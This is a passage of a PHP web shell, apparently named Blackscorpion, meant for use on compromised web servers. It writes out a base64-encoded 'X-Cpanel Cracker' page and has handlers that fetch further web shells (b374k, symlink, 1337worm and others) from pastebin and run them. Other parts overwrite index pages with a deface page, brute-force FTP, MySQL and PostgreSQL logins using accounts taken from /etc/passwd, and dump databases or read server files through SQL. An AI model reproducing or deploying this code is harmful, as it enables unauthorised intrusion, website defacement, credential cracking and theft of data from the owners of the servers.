IzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHNpemU9IjUwIiBuYW1lPSJmb2xkZXJuYW1lIiB0eXBlPSJ0ZXh0Ij48L3N0cm9uZz48L3RkPgoJPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4KICAgIDwvc3Ryb25nPgogICAgPC90ZD4KICAgIDx0cj4KPC9mb3JtPiAgIAo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEdldCBXb3JkbGlzdCBdPC9zdHJvbmc+PC9jZW50ZXI+PC90ZD4KICAgIAkJCQk8L3RyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4KCTxzdHJvbmc+CjxpbnB1dCBuYW1lPSJwYXNzIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJwYXNzd29yZCI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5VcmwgQ29uZmlnIDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0eicgc2l6ZT0iNTAiIG5hbWU9InVybCIgdHlwZT0idGV4dCIgdmFsdWU9Imh0dHA6Ly93d3cuIj48L3N0cm9uZz48L3RkPgoJPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4KICAgIDwvc3Ryb25nPgogICAgPC90ZD4KICAgIDx0cj4KPC9mb3JtPgo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEluZm8gCglTZWN1cml0eSBdPC9zdHJvbmc+PC9jZW50ZXI+PC90ZD4KICAgIAkJCQk8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlNhZmUgTW9kZTwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgoJPHN0cm9uZz4KPD9waHAKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlPT0nMScpCnsKZWNobyAnT04nOwp9ZWxzZXsKZWNobyAnT0ZGJzsKfQoKPz4JCgk8L3N0cm9uZz4JCgk8L3RkPgogICAgCQkJCTwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+RGVzaWJsZSBGdW5jdGlvbjwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgoJPHN0cm9uZz4KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+Cgk8c3Ryb25nPgo8aW5wdXQgbmFtZT0ibWF0aWthbiIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2VrYXRhbiI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KCjw/cGhwCmlmKCcnPT0oJGZ1bmM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKQp7CmVjaG8gIjxmb250IGNvbG9yPSMwMGZmMDA+Tm8gU2VjdXJpdHkgZm9yIEZ1bmN0aW9uPC9mb250PjwvYj4iOwp9ZWxzZXsKZWNobyAnPHNjcmlwdD5hbGVydCgiUGxlYXNlIHNlZSBiZWxvdyBhbmQgcHJlc3MgPlBsZWFzZSBDbGljayBIZXJlIEZpcnN0ITwiKTs8L3NjcmlwdD4nOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGZ1bmM8L2ZvbnQ+PC9iPiI7CmVjaG8gJzx0cj48dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+JzsKZWNobyAnPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJQbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCEiPgogICAgPC9zdHJvbmc+CiAgICA8L3RkPjwvdHI+JzsKfQo/Pjwvc3Ryb25nPjwvdGQ+PC90cj48L3RhYmxlPjwvdGFibGU+PC90YWJsZT4KPD8KYnJlYWs7CgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjYmRzCgpjYXNlICcnOgoKPz48P3BocCAKCmJyZWFrOwoKCi8vIFVwbG9hZGVyCmNhc2UgJ3VwbG9hZGVyJzoKCmVjaG8gJzxjZW50ZXI+PGI+Ky0tPVsgVXBsb2FkZXIgXT0tLSs8L2I+PGJyPjxicj48YnI+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsKZWNobyAnPGNlbnRlcj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkgewoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgCgpzaXplPSIxIj48Zm9udCBjb2xvcj0id2hpdGUiPiBEb25lICEhPC9mb250Pjxicj4nOyB9CgllbHNlIHsgZWNobyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPkZhaWxlZCA6KCA8L2ZvbnQ+PC9wPgoJPC90ZD48L3RhYmxlPjwvdHI+CgonOyB9Cn0KYnJlYWs7Cgp9fQo/Pjxicj48YnI+PGJyPjxjZW50ZXI+PGZvcm0gYWN0aW9uPScnIG1ldGhvZD0ncG9zdCc+Cjx0YWJsZSBjbGFzcz0ndGFibmV0JyBzdHlsZT0nd2lkdGg6NjUwcHg7JyBib3JkZXI9Jyc+Cjx0aCBjb2xzcGFuPTEwPlNlY3VyaXR5IEluZm88L3RoPjx0cj4KPHRkPlN5c3RlbSA8L3RkPgo8dGQ+PD9waHAKZWNobyBwaHBfdW5hbWUoKTs/PjwvdGQ+CjwvdHI+CiA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgc3R5bGU9IndpZHRoOiAxMzlweCI+U2FmZSBNb2RlPC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIiBjb2xzcGFuPSI1Ij4KPD9waHAKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlPT0nMScpCnsKZWNobyAnT04nOwp9ZWxzZXsKZWNobyAnT0ZGJzsKfQoKPz4JCgk8L3RkPgogICAgCQkJCTwvdHI+CgkJCQkJICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgc3R5bGU9IndpZHRoOiAxMzlweCI+RGVzaWJsZSBGdW5jdGlvbjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgY29sc3Bhbj0iNSI+Cgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4KCjxpbnB1dCBuYW1lPSJtYXRpa2FuIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzZWthdGFuIj4gICAgICAgIAkJCQkKCgo8P3BocAppZignJz09KCRmdW5jPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSkKewplY2hvICI8Zm9udCBjb2xvcj0jMDBmZjAwPk5vIFNlY3VyaXR5IGZvciBGdW5jdGlvbjwvZm9udD48L2I+IjsKfWVsc2V7CmVjaG8gJzxzY3JpcHQ+YWxlcnQoIlBsZWFzZSBzZWUgYmVsb3cgYW5kIHByZXNzID5QbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCE8Iik7PC9zY3JpcHQ+JzsKZWNobyAiPGZvbnQgY29sb3I9cmVkPiRmdW5jPC9mb250PjwvYj4iOwplY2hvICc8dHI+PHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPic7CmVjaG8gJzx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUGxlYXNlIENsaWNrIEhlcmUgRmlyc3QhIj4KICAgIDwvdGQ+PC90cj4nOwp9Cj8+PHRyPgoKPC90YWJsZT48L2Zvcm0+PC9jZW50ZXI+CjxjZW50ZXI+PGJyPjxicj48Yj48ZGl2IGNsYXNzPSJpbmZvIj4tPVsgWC1DcGFuZWwgQ3JhY2tlciBieSA8c3BhbiBjbGFzcz0iZ2F5YSI+PGEgaHJlZj0iaHR0cDovL2ZhY2Vib29rLmNvbS93YWpkYW4uYnV0dCI+V2FqZGFuIEJ1dHQ8L2E+PC9zcGFuPiBdPS08L2Rpdj4gCjxkaXYgY2xhc3M9ImpheWEiPiAgJmNvcHk7IDIwMTQgVmFqMSBWMXJ1czwvZGl2PjwvY2VudGVyPjwvYj48YnI+PGJyPgoKPC9ib2R5PjwvaHRtbD4=';
1626 $file = fopen("cpc.php","w");
1627 $write = fwrite ($file ,base64_decode($cpc));
1628 fclose($file);
1629 header("location:cpc.php"); }
1630 function download_remote_file($file_url, $save_to)
1631 {
1632 $content = file_get_contents($file_url);
1633 file_put_contents($save_to, $content);
1634 }
1635 if (isset($_POST['dhanush'])) {
1636 download_remote_file('http://pastebin.com/raw/FHs6uGki', realpath("./") . '/dhanush.php');
1637 header("location:dhanush.php"); }
1638 if (isset($_POST['symlink'])) {
1639 download_remote_file('http://pastebin.com/raw/FaQ9sQyE', realpath("./") . '/symlink.php');
1640 header("location:symlink.php"); }
1641
1642 if (isset($_POST['anonghosts'])) {
1643 download_remote_file('http://pastebin.com/raw/Cm3WsQXL', realpath("./") . '/anonghosts.php');
1644 header("location:anonghosts.php"); }
1645 if (isset($_POST['blackhat'])) {
1646 download_remote_file('http://pastebin.com/raw/XFs2pPBM', realpath("./") . '/blackhat.php');
1647 header("location:blackhat.php"); }
1648 if (isset($_POST['imageshell'])) {
1649 download_remote_file('http://pastebin.com/raw/eTbTMB4y', realpath("./") . '/imageshell.php');
1650 header("location:imageshell.php"); }
1651 if (isset($_POST['madspot'])) {
1652 download_remote_file('http://pastebin.com/raw/mjKJRfXA', realpath("./") . '/madspot.php');
1653 header("location:madspot.php"); }
1654 if (isset($_POST['pcd'])) { // password is aknight
1655 download_remote_file('http://pastebin.com/raw/cBiiU6MR', realpath("./") . '/pcd.php');
1656 header("location:pcd.php"); }
1657 if (isset($_POST['cheta'])) { // password is aknight
1658 download_remote_file('http://pastebin.com/raw/H6ah5rnF', realpath("./") . '/cheta.php');
1659 header("location:cheta.php"); }
1660 if (isset($_POST['1337worm'])) { // password is aknight
1661 download_remote_file('http://pastebin.com/raw/7WwNgWHh', realpath("./") . '/1337worm.php');
1662 header("location:1337worm.php"); }
1663 if (isset($_POST['joker'])) { // password is aknight
1664 download_remote_file('http://pastebin.com/raw/eLT2PtZN', realpath("./") . '/joker.php');
1665 header("location:joker.php"); }
1666 if (isset($_POST['b374k'])) { // password is aknight
1667 download_remote_file('http://pastebin.com/raw/UZuF1RKJ', realpath("./") . '/b374k.php');
1668 header("location:b374k.php"); }
1669 if (isset($_POST['defacepage'])) {
1670 $file = fopen("index.php","w");
1671 $write = fwrite ($file ,base64_decode($defacepage));
1672 fclose($file);
1673 echo 'Done'; }
1674 if (isset($_POST['defacepage'])) {
1675 $file = fopen("index.html","w");
1676 $write = fwrite ($file ,base64_decode($defacepage));
1677 fclose($file);
1678 echo 'Done!'; }
1679
1680function actionBruteforce() {
1681 BlackscorpionHeader();
1682 if( isset($_POST['proto']) ) {
1683 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1684 if( $_POST['proto'] == 'ftp' ) {
1685 function BlackscorpionBruteForce($ip,$port,$login,$pass) {
1686 $fp = @ftp_connect($ip, $port?$port:21);
1687 if(!$fp) return false;
1688 $res = @ftp_login($fp, $login, $pass);
1689 @ftp_close($fp);
1690 return $res;
1691 }
1692 } elseif( $_POST['proto'] == 'mysql' ) {
1693 function BlackscorpionBruteForce($ip,$port,$login,$pass) {
1694 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1695 @mysql_close($res);
1696 return $res;
1697 }
1698 } elseif( $_POST['proto'] == 'pgsql' ) {
1699 function BlackscorpionBruteForce($ip,$port,$login,$pass) {
1700 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1701 $res = @pg_connect($str);
1702 @pg_close($res);
1703 return $res;
1704 }
1705 }
1706 $success = 0;
1707 $attempts = 0;
1708 $server = explode(":", $_POST['server']);
1709 if($_POST['type'] == 1) {
1710 $temp = @file('/etc/passwd');
1711 if( is_array($temp) )
1712 foreach($temp as $line) {
1713 $line = explode(":", $line);
1714 ++$attempts;
1715 if( BlackscorpionBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1716 $success++;
1717 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1718 }
1719 if(@$_POST['reverse']) {
1720 $tmp = "";
1721 for($i=strlen($line[0])-1; $i>=0; --$i)
1722 $tmp .= $line[0][$i];
1723 ++$attempts;
1724 if( BlackscorpionBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1725 $success++;
1726 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1727 }
1728 }
1729 }
1730 } elseif($_POST['type'] == 2) {
1731 $temp = @file($_POST['dict']);
1732 if( is_array($temp) )
1733 foreach($temp as $line) {
1734 $line = trim($line);
1735 ++$attempts;
1736 if( BlackscorpionBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1737 $success++;
1738 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1739 }
1740 }
1741 }
1742 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1743 }
1744 echo '<center><h1>Bruteforce</h1></center><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1745 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1746 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1747 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1748 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1749 .'<span>Server:port</span></td>'
1750 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1751 .'<tr><td><span>Brute type</span></td>'
1752 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1753 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1754 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1755 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1756 .'<td><input type=text name=login value="root"></td></tr>'
1757 .'<tr><td><span>Dictionary</span></td>'
1758 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1759 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1760 echo '</div><br>';
1761 BlackscorpionFooter();
1762}
1763function actionSql() {
1764 class DbClass {
1765 var $type;
1766 var $link;
1767 var $res;
1768 function DbClass($type) {
1769 $this->type = $type;
1770 }
1771 function connect($host, $user, $pass, $dbname){
1772 switch($this->type) {
1773 case 'mysql':
1774 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1775 break;
1776 case 'pgsql':
1777 $host = explode(':', $host);
1778 if(!$host[1]) $host[1]=5432;
1779 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1780 break;
1781 }
1782 return false;
1783 }
1784 function selectdb($db) {
1785 switch($this->type) {
1786 case 'mysql':
1787 if (@mysql_select_db($db))return true;
1788 break;
1789 }
1790 return false;
1791 }
1792 function query($str) {
1793 switch($this->type) {
1794 case 'mysql':
1795 return $this->res = @mysql_query($str);
1796 break;
1797 case 'pgsql':
1798 return $this->res = @pg_query($this->link,$str);
1799 break;
1800 }
1801 return false;
1802 }
1803 function fetch() {
1804 $res = func_num_args()?func_get_arg(0):$this->res;
1805 switch($this->type) {
1806 case 'mysql':
1807 return @mysql_fetch_assoc($res);
1808 break;
1809 case 'pgsql':
1810 return @pg_fetch_assoc($res);
1811 break;
1812 }
1813 return false;
1814 }
1815 function listDbs() {
1816 switch($this->type) {
1817 case 'mysql':
1818 return $this->query("SHOW databases");
1819 break;
1820 case 'pgsql':
1821 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1822 break;
1823 }
1824 return false;
1825 }
1826 function listTables() {
1827 switch($this->type) {
1828 case 'mysql':
1829 return $this->res = $this->query('SHOW TABLES');
1830 break;
1831 case 'pgsql':
1832 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1833 break;
1834 }
1835 return false;
1836 }
1837 function error() {
1838 switch($this->type) {
1839 case 'mysql':
1840 return @mysql_error();
1841 break;
1842 case 'pgsql':
1843 return @pg_last_error();
1844 break;
1845 }
1846 return false;
1847 }
1848 function setCharset($str) {
1849 switch($this->type) {
1850 case 'mysql':
1851 if(function_exists('mysql_set_charset'))
1852 return @mysql_set_charset($str, $this->link);
1853 else
1854 $this->query('SET CHARSET '.$str);
1855 break;
1856 case 'pgsql':
1857 return @pg_set_client_encoding($this->link, $str);
1858 break;
1859 }
1860 return false;
1861 }
1862 function loadFile($str) {
1863 switch($this->type) {
1864 case 'mysql':
1865 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1866 break;
1867 case 'pgsql':
1868 $this->query("CREATE TABLE Blackscorpion3(file text);COPY Blackscorpion3 FROM '".addslashes($str)."';select file from Blackscorpion3;");
1869 $r=array();
1870 while($i=$this->fetch())
1871 $r[] = $i['file'];
1872 $this->query('drop table Blackscorpion3');
1873 return array('file'=>implode("\n",$r));
1874 break;
1875 }
1876 return false;
1877 }
1878 function dump($table, $fp = false) {
1879 switch($this->type) {
1880 case 'mysql':
1881 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1882 $create = mysql_fetch_array($res);
1883 $sql = $create[1].";\n";
1884 if($fp) fwrite($fp, $sql); else echo($sql);
1885 $this->query('SELECT * FROM `'.$table.'`');
1886 $i = 0;
1887 $head = true;
1888 while($item = $this->fetch()) {
1889 $sql = '';
1890 if($i % 1000 == 0) {
1891 $head = true;
1892 $sql = ";\n\n";
1893 }
1894 $columns = array();
1895 foreach($item as $k=>$v) {
1896 if($v === null)
1897 $item[$k] = "NULL";
1898 elseif(is_int($v))
1899 $item[$k] = $v;
1900 else
1901 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1902 $columns[] = "`".$k."`";
1903 }
1904 if($head) {
1905 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1906 $head = false;
1907 } else
1908 $sql .= "\n\t,(".implode(", ", $item).')';
1909 if($fp) fwrite($fp, $sql); else echo($sql);
1910 $i++;
1911 }
1912 if(!$head)
1913 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1914 break;
1915 case 'pgsql':
1916 $this->query('SELECT * FROM '.$table);
1917 while($item = $this->fetch()) {
1918 $columns = array();
1919 foreach($item as $k=>$v) {
1920 $item[$k] = "'".addslashes($v)."'";
1921 $columns[] = $k;
1922 }
1923 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1924 if($fp) fwrite($fp, $sql); else echo($sql);
1925 }
1926 break;
1927 }
1928 return false;
1929 }
1930 };
1931 $db = new DbClass($_POST['type']);
1932 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1933 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1934 $db->selectdb($_POST['sql_base']);
1935 switch($_POST['charset']) {
1936 case "Windows-1251": $db->setCharset('cp1251'); break;
1937 case "UTF-8": $db->setCharset('utf8'); break;
1938 case "KOI8-R": $db->setCharset('koi8r'); break;
1939 case "KOI8-U": $db->setCharset('koi8u'); break;
1940 case "cp866": $db->setCharset('cp866'); break;
1941 }
1942 if(empty($_POST['file'])) {
1943 ob_start("ob_gzhandler", 4096);
1944 header("Content-Disposition: attachment; filename=dump.sql");
1945 header("Content-Type: text/plain");
1946 foreach($_POST['tbl'] as $v)
1947 $db->dump($v);
1948 exit;
1949 } elseif($fp = @fopen($_POST['file'], 'w')) {
1950 foreach($_POST['tbl'] as $v)
1951 $db->dump($v, $fp);
1952 fclose($fp);
1953 unset($_POST['p2']);
1954 } else
1955 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1956 }
1957 BlackscorpionHeader();
1958 echo "
1959<center><h1>Sql browser</h1></center><div class=content>
1960<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1961<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1962<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1963<td><select name='type'><option value='mysql' ";
1964 if(@$_POST['type']=='mysql')echo 'selected';
1965echo ">MySql</option><option value='pgsql' ";
1966if(@$_POST['type']=='pgsql')echo 'selected';
1967echo ">PostgreSql</option></select></td>
1968<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1969<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1970<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1971 $tmp = "<input type=text name=sql_base value=''>";
1972 if(isset($_POST['sql_host'])){
1973 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1974 switch($_POST['charset']) {
1975 case "Windows-1251": $db->setCharset('cp1251'); break;
1976 case "UTF-8": $db->setCharset('utf8'); break;
1977 case "KOI8-R": $db->setCharset('koi8r'); break;
1978 case "KOI8-U": $db->setCharset('koi8u'); break;
1979 case "cp866": $db->setCharset('cp866'); break;
1980 }
1981 $db->listDbs();
1982 echo "<select name=sql_base><option value=''></option>";
1983 while($item = $db->fetch()) {
1984 list($key, $value) = each($item);
1985 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1986 }
1987 echo '</select>';
1988 }
1989 else echo $tmp;
1990 }else
1991 echo $tmp;
1992 echo "</td>
1993 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1994 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1995 </tr>
1996 </table>
1997 <script>
1998 s_db='".@addslashes($_POST['sql_base'])."';
1999 function fs(f) {
2000 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
2001 if(f.p1) f.p1.value='';
2002 if(f.p2) f.p2.value='';
2003 if(f.p3) f.p3.value='';
2004 }
2005 }
2006 function st(t,l) {
2007 d.sf.p1.value = 'select';
2008 d.sf.p2.value = t;
2009 if(l && d.sf.p3) d.sf.p3.value = l;
2010 d.sf.submit();
2011 }
2012 function is() {
2013 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
2014 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
2015 }
2016 </script>";
2017 if(isset($db) && $db->link){
2018 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2019 if(!empty($_POST['sql_base'])){
2020 $db->selectdb($_POST['sql_base']);
2021 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
2022 $tbls_res = $db->listTables();
2023 while($item = $db->fetch($tbls_res)) {
2024 list($key, $value) = each($item);
2025 if(!empty($_POST['sql_count']))
2026 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2027 $value = htmlspecialchars($value);
2028 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
2029 }
2030 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
2031 if(@$_POST['p1'] == 'select') {
2032 $_POST['p1'] = 'query';
2033 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
2034 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
2035 $num = $db->fetch();
2036 $pages = ceil($num['n'] / 30);
2037 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
2038 echo " of $pages";
2039 if($_POST['p3'] > 1)
2040 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
2041 if($_POST['p3'] < $pages)
2042 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
2043 $_POST['p3']--;
2044 if($_POST['type']=='pgsql')
2045 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2046 else
2047 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2048 echo "<br><br>";
2049 }
2050 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
2051 $db->query(@$_POST['p2']);
2052 if($db->res !== false) {
2053 $title = false;
2054 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
2055 $line = 1;
2056 while($item = $db->fetch()) {
2057 if(!$title) {
2058 echo '<tr>';
2059 foreach($item as $key => $value)
2060 echo '<th>'.$key.'</th>';
2061 reset($item);
2062 $title=true;
2063 echo '</tr><tr>';
2064 $line = 2;
2065 }
2066 echo '<tr class="l'.$line.'">';
2067 $line = $line==1?2:1;
2068 foreach($item as $key => $value) {
2069 if($value == null)
2070 echo '<td><i>null</i></td>';
2071 else
2072 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2073 }
2074 echo '</tr>';
2075 }
2076 echo '</table>';
2077 } else {
2078 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2079 }
2080 }
